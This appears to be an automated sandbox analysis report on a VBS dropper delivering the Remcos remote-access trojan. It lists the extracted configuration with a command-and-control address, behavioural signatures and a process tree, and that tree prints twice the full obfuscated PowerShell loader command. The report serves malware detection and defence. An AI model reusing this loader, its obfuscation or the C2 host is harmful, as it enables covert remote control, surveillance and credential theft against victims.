Analysis
- max time kernel
150s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
06/07/2026, 04:26
General
- Target Skovflaaters.vbs
- Size 43KB
- Sample260706-e2xl4sdv5p
- SHA256 e70340a81f494769700bcdb5ffd0a9a4fe6a34d87aefa27d725d8072965d8905
Malware Config
Extracted
-
remcos
-
7.2.5 Pro
-
RemoteHost
-
31.57.216.56:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-1E0LSY
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Skovflaaters.vbs"1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'amtskommunaldirektrers' 'komplementre' 'ungerontic';$stold=8501-8501;$granadas184=27582-21582;function balsamed ($lynaflederen,$ujordisk) {$openhearted=koldfrontens(@(104,222,232,225,212,203,216,219,201,211,230,206,218,146,212,188,225,225,155,151,218,214,229,215,210,221,220,215,142)) ;Grnskollingerne ($openhearted)}function koldfrontens ($ujordiskoligberettigede) { do {$granadas184=$respirere[$stold%15];$ujordiskoligberettigede[$stold]-=$granadas184;$cathedrals+=[char]$ujordiskoligberettigede[$stold];$stold++} while ($ujordiskoligberettigede[$stold])$cathedrals}function Grnskollingerne ($stampe) {&($faddiest249) $stampe}Function Kastelse ($ujordiskoligberettigede,$photolyzes=0){$spidsfindigstes=koldfrontens(@(159,181,222,225,233,202,222,234,194,168,174,175,222,212,223,134,211,226,216,169,153,191,234,215,215,226,208,148,137,231,174,225,225,215,220,216,215,229,209,215,219,203,209,215,215,184,230,216,218,216,201,209,159));$helgeninde=@(Grnskollingerne ($spidsfindigstes));For($crosstree=0; $helgeninde[$crosstree] -ne $stangbnnerne107; $crosstree++){$helgeninde[$crosstree] = balsamed $helgeninde[$crosstree] $respirere[$crosstree%15]}$beryx=koldfrontens(@(113,220,222,220,225,133,199,217,205,207,230,196,201,194,150,172,215,219,218,216,211,213,228,201,211));$ferieaftale=Grnskollingerne ($beryx);if ($photolyzes) { Grnskollingerne $ferieaftale}else {;$ferieaftale}}$respirere=@(68,114,111,115,115,101,108,118,101,110,116,105,108,101,114);$faddiest249=koldfrontens @(141,183,199);$reaggregated='\Launces.Phi';$lynaflederenssemblyd=Kastelse 'cVxfU1syBRgBAQMaTCsmZENfXUNeTCEMAEJdV0UKckZUUwETVkdQXFpZRUU1IREEHFxXXEdVXkVZXUU0LQAKFRwdQ0dQXFpZ';$overclosely=Kastelse 'LAYbAwBfQ1kBHB0fCUsVKx0IHxZLDxkIQQEKUwAKNB0dB04BAwELAhsICEMbIE9eRz4HBiEQHCstPjo5MREkJks3JhkXXzUfKDYDPTZaEhg=';$civilhortonoms=Kastelse 'CQEXHh9XQiUAHAIMHj0/CDo7JyNLWlhV';$unvituperatively191=Kastelse 'Azc7';$nightless=Kastelse 'EQEKAV4kCxMLGg==';$reticulation=Kastelse 'eg==';Kastelse 'YBUDHBEEAEwMCRoGHgAAIQZSVxYLGkwEHgQNDRETb1YdFhICCwQACRUdCQE=' 1;Kastelse 'YBUDHBEEAEwWBxAQW1BPYB0ZFgEGABkWCxgQQhYCKBsbW1cXCQIMDQEFDREbKxxG' 1;$overclosely=$sidy75[0];Kastelse 'YBUDHBEEAEwOARoGAQAGNhtSPRYSQTkHBBEKGEVfBx0CU1cGBQAMAhwGHhEdKh0CAA==' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1;while (!$trklosetterne) {Kastelse 'YBUDHBEEAEw2Gx0fDQsGIU9LBwEQCQ==' 1;Kastelse 'YBkAHRwICQIXB1oGHAAcbFYaHQUMGAMVCwYIGAwEIR4WQkpUQFZBAQIMHgYeKwEKHwpJTFIDDxgaCUw=' 1;Kastelse 'YBkAHRwICQIXB1oaCREgIQMaFgARJBMEChEbREEcLRUHBx8AHwVJTlAFFQsTIh4KFxYXCRgWHREEDgkLIFs=' 1;Kastelse 'YBkAHRwICQIXB1oaCQsWbFs=' 1;Kastelse 'YBUDHBEEAEwNAhIFBQ5AcERSVxgKAhkICwAbBUsBMBMbBgBFQRMUTkZZXA==' 1;if ($hlflik246) {Kastelse 'HxAWBxY+MStBCRgGDgQefgYOHwMEGBcRC0lNBwocKx8KBwEMQgQAHQQGAhYXBh0LCg==' 1;Kastelse 'NxFPVxoCAhkXCwYMGEVWMBMDAxIRDQIATlksAgYdIBsBFFMnFQIA' 1} Kastelse 'Fx4KFgNNWF8=' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1 ;Kastelse 'YBUDHBEEAEwWGhEEAQACKBcFFh1YSBEJARYIAF8ZNgAKAVhOSVIWBxAQW1BcJx0aHQc=' 1;$overclosely=$sidy75[$stemmeplejen]}$cirkulationsvrdis=143862;$middelhjde76=18906;Kastelse 'YBUDHBEEAEwGAQEBDQIXeRUMU1cMCxgKHBEbCRE=' 1;Kastelse 'YBUDHBEEAEwhARkGHgITKhscBxYXUS0mARofCRcGGUhVNQEKATQEHRFfWDYGNhsBFFtBDxkQBhUOCUw=' 1;Kastelse 'YBUDHBEEAEwQCgcdGQEXNhcbSk4+OBMdGlosAgYdIBsBFC5fVjc2LT0gQiIXMCEbARoLC15BKhsEAxcVJRwGAAcAHl8=' 1;Kastelse 'YBUDHBEEAEwJDwAKBBYGNhsBFE5BGRIWGgENCRcXMEtBAAYHHwIXBxoOREERLQAEBh8EGB8KAAcfHgEbN15LHhoBCBMJBh4NCVJEbQ==' 1;Grnskollingerne $latchstring;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'amtskommunaldirektrers' 'komplementre' 'ungerontic';$stold=8501-8501;$granadas184=27582-21582;function balsamed ($lynaflederen,$ujordisk) {$openhearted=koldfrontens(@(104,222,232,225,212,203,216,219,201,211,230,206,218,146,212,188,225,225,155,151,218,214,229,215,210,221,220,215,142)) ;Grnskollingerne ($openhearted)}function koldfrontens ($ujordiskoligberettigede) { do {$granadas184=$respirere[$stold%15];$ujordiskoligberettigede[$stold]-=$granadas184;$cathedrals+=[char]$ujordiskoligberettigede[$stold];$stold++} while ($ujordiskoligberettigede[$stold])$cathedrals}function Grnskollingerne ($stampe) {&($faddiest249) $stampe}Function Kastelse ($ujordiskoligberettigede,$photolyzes=0){$spidsfindigstes=koldfrontens(@(159,181,222,225,233,202,222,234,194,168,174,175,222,212,223,134,211,226,216,169,153,191,234,215,215,226,208,148,137,231,174,225,225,215,220,216,215,229,209,215,219,203,209,215,215,184,230,216,218,216,201,209,159));$helgeninde=@(Grnskollingerne ($spidsfindigstes));For($crosstree=0; $helgeninde[$crosstree] -ne $stangbnnerne107; $crosstree++){$helgeninde[$crosstree] = balsamed $helgeninde[$crosstree] $respirere[$crosstree%15]}$beryx=koldfrontens(@(113,220,222,220,225,133,199,217,205,207,230,196,201,194,150,172,215,219,218,216,211,213,228,201,211));$ferieaftale=Grnskollingerne ($beryx);if ($photolyzes) { Grnskollingerne $ferieaftale}else {;$ferieaftale}}$respirere=@(68,114,111,115,115,101,108,118,101,110,116,105,108,101,114);$faddiest249=koldfrontens @(141,183,199);$reaggregated='\Launces.Phi';$lynaflederenssemblyd=Kastelse 'cVxfU1syBRgBAQMaTCsmZENfXUNeTCEMAEJdV0UKckZUUwETVkdQXFpZRUU1IREEHFxXXEdVXkVZXUU0LQAKFRwdQ0dQXFpZ';$overclosely=Kastelse 'LAYbAwBfQ1kBHB0fCUsVKx0IHxZLDxkIQQEKUwAKNB0dB04BAwELAhsICEMbIE9eRz4HBiEQHCstPjo5MREkJks3JhkXXzUfKDYDPTZaEhg=';$civilhortonoms=Kastelse 'CQEXHh9XQiUAHAIMHj0/CDo7JyNLWlhV';$unvituperatively191=Kastelse 'Azc7';$nightless=Kastelse 'EQEKAV4kCxMLGg==';$reticulation=Kastelse 'eg==';Kastelse 'YBUDHBEEAEwMCRoGHgAAIQZSVxYLGkwEHgQNDRETb1YdFhICCwQACRUdCQE=' 1;Kastelse 'YBUDHBEEAEwWBxAQW1BPYB0ZFgEGABkWCxgQQhYCKBsbW1cXCQIMDQEFDREbKxxG' 1;$overclosely=$sidy75[0];Kastelse 'YBUDHBEEAEwOARoGAQAGNhtSPRYSQTkHBBEKGEVfBx0CU1cGBQAMAhwGHhEdKh0CAA==' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1;while (!$trklosetterne) {Kastelse 'YBUDHBEEAEw2Gx0fDQsGIU9LBwEQCQ==' 1;Kastelse 'YBkAHRwICQIXB1oGHAAcbFYaHQUMGAMVCwYIGAwEIR4WQkpUQFZBAQIMHgYeKwEKHwpJTFIDDxgaCUw=' 1;Kastelse 'YBkAHRwICQIXB1oaCREgIQMaFgARJBMEChEbREEcLRUHBx8AHwVJTlAFFQsTIh4KFxYXCRgWHREEDgkLIFs=' 1;Kastelse 'YBkAHRwICQIXB1oaCQsWbFs=' 1;Kastelse 'YBUDHBEEAEwNAhIFBQ5AcERSVxgKAhkICwAbBUsBMBMbBgBFQRMUTkZZXA==' 1;if ($hlflik246) {Kastelse 'HxAWBxY+MStBCRgGDgQefgYOHwMEGBcRC0lNBwocKx8KBwEMQgQAHQQGAhYXBh0LCg==' 1;Kastelse 'NxFPVxoCAhkXCwYMGEVWMBMDAxIRDQIATlksAgYdIBsBFFMnFQIA' 1} Kastelse 'Fx4KFgNNWF8=' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1 ;Kastelse 'YBUDHBEEAEwWGhEEAQACKBcFFh1YSBEJARYIAF8ZNgAKAVhOSVIWBxAQW1BcJx0aHQc=' 1;$overclosely=$sidy75[$stemmeplejen]}$cirkulationsvrdis=143862;$middelhjde76=18906;Kastelse 'YBUDHBEEAEwGAQEBDQIXeRUMU1cMCxgKHBEbCRE=' 1;Kastelse 'YBUDHBEEAEwhARkGHgITKhscBxYXUS0mARofCRcGGUhVNQEKATQEHRFfWDYGNhsBFFtBDxkQBhUOCUw=' 1;Kastelse 'YBUDHBEEAEwQCgcdGQEXNhcbSk4+OBMdGlosAgYdIBsBFC5fVjc2LT0gQiIXMCEbARoLC15BKhsEAxcVJRwGAAcAHl8=' 1;Kastelse 'YBUDHBEEAEwJDwAKBBYGNhsBFE5BGRIWGgENCRcXMEtBAAYHHwIXBxoOREERLQAEBh8EGB8KAAcfHgEbN15LHhoBCBMJBh4NCVJEbQ==' 1;Grnskollingerne $latchstring;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_5vx1qvvf.z0e.ps1
Launces.Phi
memory/1208-46-0x0000000007A50000-0x00000000080CC000-memory.dmp
memory/1208-44-0x0000000006200000-0x000000000621E000-memory.dmp
memory/1208-49-0x0000000007620000-0x0000000007642000-memory.dmp
memory/1208-48-0x00000000076B0000-0x0000000007746000-memory.dmp
memory/1208-47-0x00000000067A0000-0x00000000067BA000-memory.dmp
memory/1208-31-0x0000000004D70000-0x0000000004DA6000-memory.dmp
memory/1208-45-0x0000000006240000-0x000000000628C000-memory.dmp
memory/1208-50-0x0000000008690000-0x0000000008C4A000-memory.dmp
memory/1208-52-0x0000000008C50000-0x000000000E2E7000-memory.dmp
memory/1208-41-0x0000000005CD0000-0x000000000602B000-memory.dmp
memory/1208-34-0x0000000005B70000-0x0000000005BD6000-memory.dmp
memory/1208-35-0x0000000005BE0000-0x0000000005C46000-memory.dmp
memory/1208-33-0x0000000005440000-0x0000000005462000-memory.dmp
memory/1208-32-0x0000000005520000-0x0000000005B6A000-memory.dmp
memory/2864-68-0x000000001E760000-0x000000001E857000-memory.dmp
memory/2864-62-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-83-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-82-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-81-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-80-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-79-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-78-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-77-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-76-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-75-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-74-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-73-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-72-0x00000000006B0000-0x0000000001996000-memory.dmp
memory/2864-71-0x000000001E760000-0x000000001E857000-memory.dmp
memory/2864-70-0x000000001E760000-0x000000001E857000-memory.dmp
memory/6872-19-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-18-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-12-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-4-0x00007FF859FEF000-0x00007FF859FF0000-memory.dmp
memory/6872-11-0x000001DD2F0E0000-0x000001DD2F102000-memory.dmp
memory/6872-14-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-15-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-16-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-17-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-5-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-30-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-20-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-21-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-22-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-23-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-24-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-25-0x00007FF859E60000-0x00007FF85A804000-memory.dmp
memory/6872-26-0x00007FF859E60000-0x00007FF85A804000-memory.dmp